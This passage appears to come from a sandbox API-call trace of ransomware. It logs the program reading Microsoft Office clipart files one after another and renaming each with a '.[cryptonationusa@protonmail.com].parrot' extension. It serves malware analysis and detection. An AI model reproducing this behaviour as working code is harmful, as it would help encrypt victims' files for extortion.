lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.175] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.177] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2108, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2108, lpOverlapped=0x0) returned 1 [0149.179] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.179] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2220, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.179] CloseHandle (hObject=0x288) returned 1 [0149.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.185] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x203c, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.185] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.186] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.187] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f24, lpOverlapped=0x0) returned 1 [0149.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.189] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x203c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.189] CloseHandle (hObject=0x288) returned 1 [0149.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.231] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2290, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.231] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.233] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.233] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2178, lpOverlapped=0x0) returned 1 [0149.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.234] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2290, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.234] CloseHandle (hObject=0x27c) returned 1 [0149.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.239] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x177c, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.239] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.239] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.241] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.241] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1664, lpOverlapped=0x0) returned 1 [0149.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.242] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x177c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.242] CloseHandle (hObject=0x27c) returned 1 [0149.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.247] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.247] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.249] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x41a0, lpOverlapped=0x0) returned 1 [0149.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.250] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.250] CloseHandle (hObject=0x27c) returned 1 [0149.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.254] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ab0, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.254] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.255] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3998, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3998, lpOverlapped=0x0) returned 1 [0149.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.256] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ab0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.256] CloseHandle (hObject=0x27c) returned 1 [0149.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.260] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.261] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.262] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xec4, lpOverlapped=0x0) returned 1 [0149.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.263] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.263] CloseHandle (hObject=0x27c) returned 1 [0149.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.266] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1980, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.266] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.286] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.286] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1868, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1868, lpOverlapped=0x0) returned 1 [0149.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.288] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1980, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.288] CloseHandle (hObject=0x27c) returned 1 [0149.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.293] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb14, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.293] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.295] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9fc, lpOverlapped=0x0) returned 1 [0149.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.295] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.295] CloseHandle (hObject=0x27c) returned 1 [0149.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.299] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.300] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.301] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78a, lpOverlapped=0x0) returned 1 [0149.302] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.302] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.302] CloseHandle (hObject=0x27c) returned 1 [0149.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.306] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1138, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.306] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1020, lpOverlapped=0x0) returned 1 [0149.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.309] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1138, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.309] CloseHandle (hObject=0x27c) returned 1 [0149.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.312] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3910, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.312] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.312] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.314] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x37f8, lpOverlapped=0x0) returned 1 [0149.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.315] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3910, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.315] CloseHandle (hObject=0x27c) returned 1 [0149.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.319] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1794, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.319] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.321] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.321] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x167c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x167c, lpOverlapped=0x0) returned 1 [0149.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.322] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1794, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.322] CloseHandle (hObject=0x27c) returned 1 [0149.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.355] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x720, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.355] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.359] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x608, lpOverlapped=0x0) returned 1 [0149.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.360] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x720, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.360] CloseHandle (hObject=0x27c) returned 1 [0149.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.365] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x74c, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.365] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, 